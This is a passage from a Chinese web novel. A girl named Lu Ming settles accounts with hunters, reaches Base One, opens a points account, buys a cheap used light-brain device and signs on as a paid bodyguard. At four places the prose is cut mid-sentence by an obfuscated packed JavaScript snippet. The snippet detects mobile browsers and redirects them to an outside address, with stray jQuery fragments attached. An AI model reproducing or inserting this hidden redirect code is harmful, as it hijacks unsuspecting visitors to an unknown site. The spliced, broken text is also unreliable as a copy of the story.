那张桌子上有个类似于触屏显示器的东西,陆张时不时在上面点两下,她眼热好久,一直想上手摸摸,可惜总是找不到蹭一蹭的机会,只能在桌边晃来晃去。 那宝贝玩意儿说没就没了。 “信号基站覆盖不到的地方才用得上这东西,算半个废品吧。”尤维完全不理解小姑娘语气里暗含的可惜,甚至在怀疑是自己太久没见到正常人,语言系统紊乱了。她朝宋平招手,接过麻袋,拉开袋口。 深浅不一的赤晶赫然出现在路名眼前,差点亮瞎她的狗眼。 “认认看,还记不记得哪些是你的。” 路名挑挑拣拣,把几个叔叔送的小鸽子蛋、大鸡蛋都挑出来,和其他的相比,这些赤晶的色泽暗淡很多;接着,她跳出亮晶晶的、大约有一拳大小的赤晶,挑到第三块时,一只手按住她。 是尤维。 尤维轻轻咳一声:“我们不是瞎子,你这细胳膊腿儿的,哪儿能搞来这么多赤晶,差不多得了。” “这些是叔叔们送我的,这种好事没几次,叔叔们心疼我一天只吃一顿,之前都是有心无力,帮不了太多。”路名期期艾艾说完,拨出一堆,又指着另外两颗,“这是我捡来的,不是我挖的。没出现红兽时,那个山洞有不少这种赤晶,我跟着老鼠们捡的。接下来才是我挖的。” 老鼠? 宋平和尤维互相看一眼,尤维径直走出去。 路名趁机又从袋子里掏出两个大的。到第三个的时候,直尺横在前面。 这一次,是宋平。 宋平低头看地,“差不多了差不多了,这种品质的赤晶你拿几个别说出去就行。我们有那么凶吗?该你的就是你的,还怕我抢了你的不成?” 路名仔细端详这两个大赤晶,热呼呼的,亮晶晶的,和之前那些确实不一样。 拿一个赚一个,拿两个赚翻。 宋平把麻袋揽进自己怀里,“那现在,我们来算算账啊。毕竟我们是猎人,只是杀杀红兽,救人不是我们的任务,应该是那位,对,那个晕倒的家伙。我们救人用的都是自己的物资,要钱的。首先,把你救出来,一个赤晶,举手之劳,就一颗。” 举手之劳? 路名眼睁睁看着一个小鸽子蛋被扒拉走,还是用那把刻有八卦图的直尺,顿时心痛无比。 “你身体营养亏损严重,我们给你打一剂营养针,需要钱吧?再来一颗。”宋平伸出直尺,直奔中等大小的赤晶,用巧劲儿挑进袋子里。 路名:“……” “别瞪我,瞪也没用,还有一针呢,死贵死贵的。你被红兽血浸透了,我们给你上药,不上药说不定你现在也被感染了,知道吧?可以说是我们和那支药救了你,你想你的命有多值钱,那支药剂贵自然有它贵的道理。哎,谁叫你倒霉,红兽就死在你身上,不用不行啊。”宋平像个说书的,嘴皮子一张一合,三两句剜走路名的心头肉——最大最亮的两颗赤晶之一。 路名:“……” 也行吧,好歹还有一个,钱重要命重要?命重要。 “老宋,我们准备走了。”尤维撩开帘子,一眼瞅见老宋蹲在地上,那小姑娘就在对面,眉眼低垂,像是守着一地赤晶泫然欲泣。她“噌”一下冲过来,拧起宋平的耳朵将人拽起来:“队长不是说了不要为难人吗?几个赤晶的事儿,非得把人家惹哭是吧?好玩儿是吧?” 宋平大喊冤枉。 路名看一眼这俩人的相处模式,忽然觉得有点亲切。陆师兄喜欢捉弄她,田师兄就替她打抱不平,两人一言不合就能干起来,不知道现在,他们在做什么…… 恰好这时候,队长支飞羽听见动静走进来,宋平喊冤叫屈更加大声。 路名悄悄瞟一眼角落里的黎叔和陆张,两人都没有醒。得,刚刚的费用想找人报销都没人作证,毕竟花的都是“赃款”。 支飞羽陆陆续续听完全过程,蹲下来问:“不服气?” 尤维手一松:“……”呔,要干架? 宋平摸摸红彤彤的耳朵不说话,难怪队长长这么帅也没女人缘,这说话方式也忒吓人了。到底谁才是为难人的那个啊。他不满地瞥一眼旁边严阵以待的尤维。 “我是太感动了。”路名低头把脸埋在怀里,小声说。 尤维:? 宋平:?! 支飞羽顿住,“为什么?” “我没吃饱过,如果不是你们给我打一剂营养针,我都不知道原来吃饱饭的感觉这么好。我没什么机会赚钱,吃不到多少东西,红兽也遇不到几次,而且因为我年纪小,之前都没机会进去过,这么多年,一直都是这么过来的。这种吃饱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635338|172661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的感觉,我好感动;我知道你们要走了,我只是,有点害怕。”路名越说越小声,生怕自己抬头笑出来。 想当年,刚入校园,稚气未脱的师兄们就是被她这一招赖上,一粘就是好几年。 扎营地瞬间静默无声。 尤维叹口气:救人真是一件让人快乐又痛苦的事。 宋平默默从麻袋里掏出那颗赤晶,放在那堆赤晶里,跟着叹口气:做个公正的商人,一物一价,好难。 十分钟后,老杜开着刚整好的越野车“呼啦啦”过来,按下车窗,把门框拍的当当响:“怎么样,厉害吧,这车估计是和那个记录员一起来的,捯饬一下还能用,带来的枪和药我都放在后备箱。这里的情况我已经向上汇报了,有人来接那个记录员,这车就当送我们的报酬,还不是我们工会的,算白捡!同学们,你们一个个什么表情,这可不算抢啊,这是合理的报酬。开心点嘛,这可是你们毕业入学前的第一次任务,圆满结束,外加一辆车!欢呼呢?” 路名从宋平和尤维中间挤出去,走到大胡子司机面前:“你好,这个车能坐几人?” “五个。” 老杜疑惑地看向杵在原地的三人,“什么情况?” “屋子里还有一个伤患,能麻烦你送他回家吗?”路名冷静地问道。她一眼就看出这个皱纹比胡须还多的男人绝不好糊弄,耍赖装可怜只会适得其反。 宋平和尤维互相看一眼,就当没听见。 支飞羽走到车边,“老师,那个人的腿是我划伤的,还是先送他回家吧。” “臭小子,你知道这车还剩多少油吗?送他?能够我们回去就谢天谢地了。难不成你还想等齐鲁工会那些人过来和你磨嘴皮子?”老杜勃然大怒,目光却是恶狠狠地盯着路名,“滚远点!” 宋平走过来:“老师,她一个人生活在这。” “哦,所以呢,你想说什么?”老杜伸手掏耳屎,对这话中的深意置若罔闻。 尤维将宋平拨到一边:“老杜,我们得带着孩子回去。那个大个子要是残废了,这孩子肯定活不下去。” 老杜“嗯”一声,眯起眼睛在四人脸上扫一圈,最后,目光落在支飞羽身上:“你是队长,你说了算。现在,你怎么看?” “一起回去。”支飞羽言简意赅。 老杜一巴掌拍在方向盘上,气笑了,“好,队长说什么就是什么,但那个人我不能带走,燃油不够,没有异议就现在上车!” 支飞羽坐在副驾驶,尤维和宋平在后座。 路名刚准备上车,司机突然拍门框,斜睨过来:“喂,你是孤儿?想搭顺风车进入城区,可以。但,以后的日子得看你的本事,要是死在城里,可别怨恨我们。人,最起码得知恩图报,懂吗?” 路名走到他面前,和他平视,“谢谢。” 车门“砰”一下关上。 宋平和尤维诧异地对视一眼:难得,老杜竟然没说什么。 “走了。”老杜吆喝一声,踩下油门。 贫瘠的山色慢慢向后倒退,车辆进入平原,灰白的天空占据大片视野,道上没人,他信手摆弄方向盘;薄雾中,一号基地的高墙渐渐显出轮廓,涂抹特殊溶液的墙体在阳光下微微反射暗绿色的光。 看到高墙,老杜突然想起一位故人——一号基地的创始人之一,研究院初代研究员,编号004,未来集团创始人,同时,也是他毕业后第一支小队的副队长,言榕。 想起和那家伙第一次干架的情形,他顿时明白刚刚那股怪异的感觉是怎么回事:那孩子说话的样子和言榕很像,明明五官完全不一样,但那双眼睛却和他一样,好像会打人。难怪他会觉得那孩子说话的样子一点都不陌生,甚至有些熟悉。 “喂,后面的,你叫什么?” “路名。” 5. 打工 车驶入城区,没过几分钟就停下来,拐进一处仓库。 “这种车只能开到这儿,一会儿云姐过来收车,你们,你,和你,先别跑,把枪和药分装好送回去。”老杜喊住准备开溜的宋平和尤维,一手提一个,把人拉去当苦力。 支飞羽站在旁边,确认不需要插手,转身问站在旁边的路名:“我先带你去附近转转?” 路名欣然同意。 城里和山里不一样,到处都是人,尤其是这间仓库。人们来来往往,身上无时无刻不在散发汗臭味,蒸出人肉味儿。在车上可以开窗,现在,仓库里连一点风儿都没有,又闷又恶心。 两人径直穿过广场。来往行人衣着随意,甚至有不少人只能算是用布块勉强遮蔽身体,在努力拉车做工;一身简单装束的支飞羽穿梭在其中,显得格格不入。 资源集中,贫富差距拉大。 路名猜过这种社会机制,但当她亲眼目睹,仍旧心惊胆战。 他们来到一处告示栏,上面张贴一张详细地图——第一基地地图概览。绘图者用红橙绿蓝四种颜色、以红色为中心向外环状散开,将整个地区划分成四块,中间间或有一些灰色地块,旁边有标识:红色是上城区,橙色是中城区,绿色是下城区,而蓝色则是无证民居,灰色建筑闲人免进。其中,红色地区的灰色最少,橙色、绿色渐次,蓝色最多,成堆扎在一起。 显然,这位队长口中的“转转”仅限这张图。 路名大致浏览过这份地图,对整个基地有初步的印象,只剩些专有名词不甚了解。 “什么是无证民居?” “这里的人和你一样,都是从城外来的,还没有取得居住证的人。” 居住证?这倒不是新鲜的东西。路名之前上大学时在学校迁过户籍,想在当地买个房子,当时一户难求,要么有居住证,要么有户籍,这是前提条件。 “我能办居住证吗?”路名转身,发现这位队长在玩袖口的线头。 什么人,多大了还玩线头! 支飞羽迅速抬头,把线头塞进袖子,双手插兜,一本正经地问:“你要办居住证?那得查一下要多少积分。” “赤晶不可以吗?”路名拉开包,露出里面的赤晶。 来的路上,尤维从后座摸到一个旧包,刚好能装点东西,随手送给她装那些宝贝疙瘩,美名其曰“都是蹭的,不拿白不拿”。如此美好的品德,如此简朴的作风,路名深表赞赏。 支飞羽从包里掏出银色手环,打开光幕,边操作边说:“城区内不用赤晶交易,你可以送到未来集团下的‘典当铺’,他们会按照目前的市价给你折算积分。居住证在官网上标价二十万,如果你要办居住证,得先有光脑,就这个,方便工作人员联系你。” 路名摸了摸包里的赤晶,将二十万的希望寄托在最大最亮的独苗上。 二十五分钟后,路名将半包赤晶一股脑儿倒在银盘上,服务员小姐笑容满面,双手收走银盘,分类后放在窗口内的秤上称重,“您好,一共是三块上品,七块中品,十二块下品,另外,这几个我们不收。一共是96322积分,非常感谢您的惠顾。请问您的账户编号?” 路名将几块鸽子蛋扔回包里,心痛到滴血。 就算有最大最亮的独苗加持,距离一张居住证还差十万多,上哪儿搞来这么多积分,她又不是靠空气活着! 支飞羽戳了戳低头的路名,“账户,编号。” 路名摇头。 就算她有账户,那都是在孔大户名下,鬼知道她的编号是什么。 服务员小姐面色一僵。一位气宇轩昂、衣着不凡、年纪轻轻的男人出现在无证民居本就是一件稀罕事,身边还跟了一个水灵灵的黑户,这这这……自诩见多识广、阅尽人生悲剧的服务员小姐顿时怜悯地看一眼小姑娘,撑起职业素养笑对帅哥。 人不可貌相,但这人是贵客! “请问要开户吗?” “要。”路名补充道,“把那些积分存进新账户。” 再花时间去可惜“路名”之前攒的积分没有意义,她得尽快找到工作,从零赞起! “好的,那么,先生,您是担保人,对吗?”服务员小姐笑盈盈地从柜台里拿出触屏笔和面板递过去,敏锐地洞察到男人眼中一闪而过的无措,心中冷笑,更添唏嘘。 路名还不知道这位队长的名字,凑过去一看:支飞羽。 路名:“!”难怪她觉得这人长得眼熟,原来是那位登过杂志的“支飞羽猎人”。 回想从进店到现在,服务员小姐看他两眼放光,看自己就毫无波澜,偶尔有点情绪也都是从支飞羽身上来的,路名秒懂:大概是和追星一族差不多。真敬业啊,全程都说废话,也没上来要签名。 “谢谢。”路名真诚地说。 支飞羽点头,把写有龙飞凤舞字迹的面板递进去。 服务员小姐开户速度极快。两分钟后,她用托盘将卡呈给路名——一个指甲盖大的芯片。路名捏在手上生怕一不留神掉了。这玩意儿比银行卡小多了,里面却有她所有的身价。 “这个要装进光脑里。”支飞羽提醒道。 路名:“……那买一个吧。这附近有光脑卖吗?” 只见服务员小姐在后台操作了一会儿,一个面板从天花板降下来,里面是各种各样的光环,她笑吟吟地问:“您喜欢哪一款?这一款雕花精致美观,比较受年轻女孩子追捧,我们还可以为您定制,而这一款非常轻便,几乎没有任何感觉,非常适合运动佩戴。” 支飞羽手腕上的就是这个。 路名扫一眼光脑下面的标价,七十九万一个!乖乖,路名咂舌,忍不住多看旁边的支飞羽两眼,这是大富哥啊,果然没看错,这哥们和师兄有的一拼,钱多心善。 路名扫一眼所有标价,最便宜的光脑都要六万多,足足够她三分之二的身家! 这可是基本需要的物品,竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635339|172661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然这么贵! “我们下次再来。”路名拉着支飞羽火速撤离。 服务员小姐收起面板,冷哼一声。一个装货也敢带妹子出来炸街,靠爹靠妈像模像样活着的狗玩意儿,在杂志上出出风头,私底下把无证民居的女孩子当什么了,免费的窑子嘛?这些二代们,真恶心。连个光脑都舍不得买,人家水嫩嫩的年纪还要看他的脸色,我呸! * 在无证民居转悠一圈,两人停在一处垃圾堆满门口的地方,支飞羽结束导航,收起光脑,“就是这,应该没错。” “那我在外面等你?”路名看一眼阴森森、破破烂烂的房子,有些怀疑这消息的真假性。别提卖只要一万块还有薄利的改装版光脑,这里真的有人住吗?还要求单人交易……规矩真多。 支飞羽低头审视一会儿,决定无视满地垃圾,一脚踩进塑料盒里。 “吱~”发臭发烂的汤汁噗呲一下溅出来,粘在他的腿上,像面条一样挂着,越拉越长;随着他往里深入,一身黑色战斗服逐渐“挂彩”。 路名站在外面,有些不忍直视。 五分钟后,支飞羽抱着一个二十厘米高的方盒走出来。 路名蹲在不远处的墙角,随便拔来一根狗尾巴草拿在手里玩。见到那个方盒子,她眼前一亮。这不是陆张摆弄的光屏吗,原来就是光脑啊!她急忙接过来,小心翼翼放在腿上,蹲在墙角摆弄。 “试过,能用。”支飞羽从领口的缝隙抽出一块方巾,遮住半张脸,“我回去洗澡。你找个地方住,不要在外面过夜。” 路名“嗯嗯”两声,注意力全在新鲜到手的光脑上。 玩了一会儿,她大概摸清这玩意儿的基本功能。除了毫无便利可言的通讯功能,就剩一个网页可用,其他几个软件,比如支飞羽来时用的导航功能,完全用不了,点开软件只有一片空白。 她从网上找到最近、最便宜的旅社,花两百积分订一晚,心疼到滴血;住房问题到顶,她开始浏览招工网站。 饮品店服务员,一个人六千起步。 路名火速填表发过去,还没从这家招工信息退出来,私信多了一个红点:她的申请被系统驳回。 理由:学历不匹配。 这工作和奶茶店服务员差不多,要什么学历,她要态度有态度,要时间有时间,要礼貌有礼貌,要能力可以学习……她点开招工信息界面,在最下角找到一行小字:学历在大学毕业及以上。 陆张就是大学毕业,有居住证,毕业做记录员;在这里,记录员这种铁饭碗就是摇奶茶的入门门槛! 路名两眼一黑。 学历贬值和地域歧视还真到处都是,穿越了都躲不了。 没关系,生活在于细水长流,只要她别入不敷出就行。挨个筛选了一个下午加大半夜,她好不容易找到一个不要学历的临时工作,一看报名人数两万六,入职人数三十,日薪一百五。 路名:“……” 6. 危险工作 秉持勤俭持家不浪费的原则,路名决定趴在两百积分的塑料橡胶床上通宵一夜,她先插电把光脑上能用的几个软件翻个遍,再预留时间充满电,她也趁机打个盹儿,七点准时顶两个黑眼圈出现在大堂。 八点是招聘的时间,她提前算过从这里走过去要半小时。 “你好,退房。”前台没有人,路名屈指敲了敲桌面,高喊一声,余光瞟到文创墙上大屏里的名字。 她在第二行,对应房号202。 突然,就在她名字下一行的“余光城”突然变红,紧接着,房间203挂上“空房”。 “咯吱~”正对前台的小门打开一条缝,露出一张苍白的小脸,嘴角有一颗黑痣。女人上下打量路名一遍,打了个哈欠:“退房?现在退房没有早餐供应,同意的话就在光脑上确认一下。” 附带早餐供应,房费加五十,一间房一晚二百五,路名脑子被驴踢了才用一穷二白的身家买这天价早饭。 “我赶时间,请帮忙退房,谢谢。” “你不会用光脑?”女人从架子上抽一件披巾披在肩上,边揉眼睛边走出来。 她扯来一把旋转椅,随手打开桌面系统。 路名从包里掏出小方块光脑,调出开房的二维码对准桌面摄像头,“滴”一声,大屏上的“路名”被“空房”取代,与此同时,光脑电量下降百分之一。路名火速熄屏。老物件就这点不好,耗电快,不耐用,眼下能省一点是一点,万人面试,还不知道要等多久。 搞定退房,女人懒懒地敷衍一句:“要是实在找不到地方住,欢迎再来,小店便宜好住。” 花200住一晚,路名真觉得牙疼心酸。 “老板娘,问你个事儿,成吗?”她拉住老板娘,舔着笑脸,指了指文创墙,“我刚才看203的客人名字变红,这是什么意思啊?” 她退房的时候,名字直接被替换,没有任何颜色变化。 “你说名字变红?那是人死了。”老板娘摁下桌边绿色圆钮,“房间203,现在就去收拾,看看有没有什么东西丢了少了,到仓库找两件换上,缺损的东西报到我这,下午我走一下,去找担保人赔钱。” 忙完这些,她抬头一看桌上有个影子,刚刚还忙着退房的小姑娘站在原地,神情木楞。 “你不是赶时间吗?怎么还在这?”老板娘有些不快地问。 “能问问死因吗?”路名嗓音微微梗住。穿越过来差不多有半个月,这是她第一次看见有人就在自己眼皮子底下死去,昨晚,他们或许就隔着一道墙,天一亮,就是两个世界。死亡,似乎触手可及。 老板娘一脚踢开椅子,拢紧披巾,“我怎么知道?东边有流感,西边刚抬出去一堆人,上城区那些少爷小姐要毕业,忙着找护卫队去送死,一死一大片,鬼知道这家伙死在哪儿。” “砰!”门被用力关上。 路名走出旅社,按照通宵收集的路线,她快速走出居民区;进入商业街时,早晨的阳光穿过不那么密集的高楼间隙,照在她背后,有一瞬间的温暖如一片羽毛,轻轻落在她身上。 远远地望见一大片人,人群之上,“锦程茶水铺”五个字龙飞凤舞挂在墙上。 ——这是路名要来应聘的地方。 人群乌泱泱一片,拉出一条街的气势,路名走近些,识趣地站在外围。只看穿着也能一眼看出,这些人和她不一样,她一件薄衫一条阔腿裤,哪怕好好梳洗一番,也藏不住清秀但贫穷的本质,而这些人虽比不上路张的从容,但也比她好太多。 听老板娘的意思,无证民居多的是无可奈何的穷人。 路名找个没人的角落蹲着,打算等第一批面试出来的人,随便找一个问问具体情况;刚坐下没多久,她就注意到斜对面一个大爷在摆摊卖油条,和沉默的应聘大军相比,那片小天地热络得很,而且男生人数奇多。 路名凑过去,没等她听清楚这些人在说什么,一阵油条香把她肚里的馋虫勾出来。 走近一看,一根油条80,加鸡蛋一百五。 路名:“……” 路名站在不远不近的地方装模作样排队,她听了一会儿,发现这卖油条的大爷是个猎头。 卖油条是假,介绍工作才是他的正经营生。 “大爷,你说的工作一天一万积分,真有这么好的工作?”站在路名前面的寸头男孩挤进去问。路名脚下一拐,往包围圈里面凑一凑。 “这机会啊,一年才一次,一次只有一个月。危险是危险了点,但只要坚持干下去,哪怕在里面混时间,钱一分不少,接下来十一个月勉勉强强弄点钱够过日子,不舒服吗?”大爷从容地捞出锅里五根大油条,撂下夹子,颇有股气吞山河的架势,“最后五根,谁要?” 一秒钟,五根油条被瓜分一空。 大爷一拍桌案,开始麻溜儿地收东西,那五个买油条的小伙子也非常有眼色地帮忙搭把手。 其余人一哄而散。 余震满脸失望,转身,被一个黄黄的脑袋瓜子吓了一跳。这小孩儿贴在他后面,他差点儿把人撞翻下台阶。“你怎么还不走?”他问。 “买油条……” “你脑子坏了还是钱多得用不完?你家没人管你,上赶着找骂吗?买油条的话,往南边走,过两条街,河对岸有个‘松风仓库’,仓库边有一对老爷爷老奶奶也卖油条,五十一个加鸡蛋。”余震满脸不耐烦地说完,刚走几步,袖子被人拽住。 “你知道哪里能赚钱吗?”路名坚信这个一脸煞气的男孩绝对能改变自己目前的窘境。 十分钟后,路名跟着余震来到“松风仓库”,每人在旁边的早餐车上买一根加蛋的油条,火速吃完。余震走在前面,路名跟着他走进仓库。 刚踏进门,一股扑面而来的汗臭和血腥味差点把她熏吐。 “还进去吗?”余震一挑眉,抬脚准备出去。他今天烦得很,刚刚怕是脑子被门夹了才答应带这小姑娘来这里。 “进。”路名深吸一口气,抬脚进去。 仓库里有一丝凉风。 据余震介绍,这里是护卫队的临时聚集点,来的大多是男人。 这些人或瘦弱或壮实,身上带伤,手上拿武器的,三三两两形成一个个区块,随便找个地方蹲着,而仓库唯一的通风口摆放一张桌子,一个穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635340|172661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 制服的男生坐在桌上,皮鞋被透进来的阳光擦得锃亮。桌子的另一边只有一个戴眼镜的男人,正在光脑上发消息,手指快到残影。 路名一进来就感受到许多视线围过来。 “第一次来?”戴眼镜的男人头也不抬,看样子是不挑性别的。他一边问,一边从口袋里拿出一根形似棉签的仪器,在路名的手指尖点了一下。 ——采血。 路名第一次见这种快捷便利的采血方式,忍不住多看几眼。三秒后,棉签的杆部显出一行小字,最下方有一个绿色方块。余震说过,有绿色方块就代表身份合格。如果身体注射过其他东西,很有可能不过关,具体得看护卫队的要求,不同的队伍要求不一样。 “你注射过红月工会的药剂?”戴眼镜的男人微微抬头,目光有些惊讶。 路名瞄到他胸牌上的名字——宋何正。 “一剂营养剂,一剂特殊药剂,祛除红兽血感染。”路名如实说道。这两剂药贵死了,早知道要算账,她说什么都要再拿点大赤晶,也不至于现在连个居住证都办不起,还在无证民居水深火热的活着。 一身贵气的男孩伸手拿过仪器,仔细看一遍,还是有些不相信,“你下过红兽巢穴?” 红兽巢穴那都是正经猎人组队进去的地方,凶险异常。 他姐就是猎人学校的见习生,衣服一脱全是肌肉,邦邦硬,力气大得要死,个子还高,今年毕业,到现在也没机会出过一次正经任务。这小孩儿看着比他小,还营养不良,难不成还比他姐厉害? “昨天刚回来。”路名言简意赅。 “你怎么进去的?”余震忍不住问。他实在没想到自己阴差阳错还能找到一个从红兽巢穴活着回来的人,流感加上大频率的护卫队召集,现在整个无证民居都找不到多少个这样的。 “在里面打工,老鼠变异了,躲得快,就活着出去了。”为了增加竞争力,尽快上岗就业,路名刻意淡化了支飞羽小队的作用。 说来说去,她活着回来就是硬道理。 宋何正顿了一下,把桌上的少年拉过来,指着他说:“你一天三万,我们的要求是你跟着他,寸步不离,死了的话,我们会向你的担保人追要赔偿。” “这么多!”余震惊叹。一般只有八千,一万都是极少数,三万,什么概念啊! 此时,路名的注意点已经跑到另一边: 追要赔偿? 她只听过因公殉职追加荣誉大力补偿的,还没听过死都躲不掉赔偿的,奸商,邪恶的大奸商! 签完协议,宋何正让出另一把椅子,“防止忘了,你离我们近一点。过会儿还有猎人学校的见习猎人过来,你们互相认识一下。” 路名深表认同:三万一个的超级牛马,确实不能在眼皮子底下放跑了。她来开椅子坐下,小声问蹲在旁边的余震:“他们要去很危险的地方吗?” 见习猎人,听着就很厉害。 “一号基地东边有一片滩涂,听说有水陆两栖的红兽经常在那里出没。一般上城区那些学生毕业前都要出去一次,不知道他们两个为什么选了那个地方,但那片滩涂是挺危险的。” 7. 牛马大队 从一号基地去东边的滩涂要三天,路名坐在卡车副驾,被颠得想吐。 她包里除了快要没电的光脑,还有二十支最低级的营养液,两把金属制、长短不一的匕首,一面巴掌大的菱形护盾,鼓囊囊、沉甸甸地卧在腿上。这些都是她和余震中午出去买的,斥巨资一万三,武装自己的一条小命。 听余震说,一次护卫任务长则三天,短则两天,她买二十支营养液,一天两支维持体能,除去六天路程,绰绰有余。 “叱~”出城过安检,司机大哥猛踩急刹,和前面的越野车保持一段距离。 “怎么回事,怎么都赶着今晚出基地?”司机大哥用力一拍方向盘,摇下车窗往下面看,刚想骂两句出出气,一看下面的武警和迅速通过的猎人队伍,顿时不说话了,小声嘀咕两句“什么情况”“还去不去”云云。 路名捂着撞在玻璃上的额头缩在角落里小声吸气。她晕车,这一撞,脑子痛得清醒。 “大哥,出事了吗?”她挣扎着坐起来。 “你自己看。”司机大哥侧身让开一个视角,咂舌道:“乖乖,这么多猎人,还不知道能不能出去呢。” 这是路名第二次看到猎人。 和支飞羽一行纯黑着装不同,这些人的背后印有不同的图案。他们前进的速度很快,几句话的功夫就只剩下一片背影,路名快速捕捉衣服上的图案,只认出齐鲁工会和红月工会,另外还有两个陌生的图案。 “四个工会一起行动?” “还有武警。”司机大哥啧啧两声,感叹道:“红月工会,齐鲁工会,逐星工会,还有淮霆工会,出动这么多人,十有八九是大型红兽群。哎,可别和我们一条道,那今晚想出去是不可能了。” 路名摇下自己那侧的车窗,右手握住后视镜,努力往外探。 那个上城区的学生从越野车上下来,旁边站着一个个子高高的人,光太多,她看不清那人是宋何正还是新来的见习猎人,只能依稀看到他们和佩戴红色警戒标识的武警说话。 安检处一片发动机的呼喝声,没有人敢鸣笛。 路名仰头看天,今晚没有星星,夜空很黑,很陌生,和前世的繁荣都城相比,这座基地连光污染都没有。 下雨了。 路名缩回副驾,从包里拿出一支营养液,喝下半瓶,封好盖子,再拿出闲置一天的光脑。 “滴—”开机。 蓝色的屏幕亮起,右上角几乎空壳的矩形电池图案和18%的电量格外刺眼。路名安慰自己:好歹还有百分之十八,不错了。 她滑动屏幕,罕见地看到通讯软件上有个红色的“1”。 有人找她?她从没有添加好友,光脑的信号覆盖全部免费,就算是这座基地负责通讯的运营商吧找来,也没理由要网费。 带着一点点疑惑,路名点开通讯软件,最上方第一行清晰地出现两行字: 【一支飞羽: 光脑一万,转账,谢谢。】 路名:“……”呵呵,原来是来要债的。 俗话说,有借有还,再借不难。 路名对自己的未来深感绝望,而支飞羽是她目前唯一一个人脉,得罪不起。她捣鼓一会儿,摸清转账功能,火速把一万积分转过去,并配文诚恳道歉,解释自己在找工作,把这事儿忘记了。 搞定这些,路名扫一眼电量:12%。 突然,通讯软件上亮起一个红点——支飞羽在线! 【一支飞羽: 无证民居的大部分工作都被内定,就算有漏网之鱼,也都有很多苛刻的特殊要求。】 路名把手放在小型键盘上,正在心里组织语言,卡车突然发动。 能出去就意味着那个大型红兽潮不在东边,三万的积分还有指望。路名松了口气,冷不丁,膝盖上的光脑猛地朝前窜,她心里一惊,快速捞回来,顿时冷汗连连。 “放心,哥技术不错,出来有段路平坦,你继续。”司机大哥边加速边说。他一笑,露出两排缺口的黄牙。 路名点点头,抓紧时间和电量、晕车赛跑。 【道爷: 你没去基地外?】 【一支飞羽: 只有四年级的见习猎人有资格报名参加,我是一年级新生。你怎么知道今晚的行动?你也要去基地外?】 支飞羽的手速很快,和白天那个在地图前低头玩线头的人不同,在网络上,他更活跃。 ——宅男。 路名给他贴上标签。 【道爷: 护卫队,一天三万,我想尽快凑够钱办理居住证,进入下城区。】 上城区12区,一座三百平别墅坐落在假山上,两边的池水在细雨中泛起阵阵涟漪,揉碎从窗口映出来的灯光。 支飞羽半躺在单人沙发上,看到光脑上的一排字,腿一蹬,头往后一仰,埋进充气沙发里。过了会儿,缝隙里传出一阵气流声。支飞羽长叹一口气,揉了揉毛燥的齐肩中长发,敲下一行字: 【见习猎人最高一天两万积分。你注射的那支特殊药剂学名碎红AH-133,除了快速去除感染,注射者在一周内免受红兽血影响。】 一键发出。 十分钟后,支飞羽关闭光脑,随手摘下,扔到桌子上。 算了,不回拉倒。他管那个小乞丐干什么,老杜警告过他人各有命,生死在天,他管东管西根本就是自讨苦吃。 此时,路名正在颠簸的卡车里轻拍光脑。 几分钟前,她还在等支飞羽的消息。随着卡车颠簸,脑子越来越晕,她一不小心松开手里的光脑,方形疙瘩咕噜一转在车厢里“乒乒乓乓”溜达一圈,黑屏躺在她脚下。她又急又气,又怕力气大了这个小破烂被她拍成稀巴烂,气到用最大的力气和黑屏大眼瞪小眼。 “没电了?” 司机大哥猛打方向盘,拐过弯,调整车身,“别急。这旧东西除了用电快,其他地方都挺结实,耐摔。我丫头也有个一样的,三天两头摔一次,充满电照样能用。等大后天到了目的地,要是放晴,你就把光脑放车顶充电。车顶有太阳能板,充满应该没问题。” 雨越下越大,雨刷刮下一大滩水,顺风往后呲。 路名把光脑放回包里,“谢谢大哥。到了地方,大哥你不和我们一起下去?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635341|172661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>司机大哥笑了笑,“我上有老下有小的,哪能说死就死,我死了,他们怎么办?我就干些开车的活儿,把你们送过去再带回来就够了。” 路名深表认同。 要是因公殉职,家人得点抚恤金,说起来还算通晓人情。 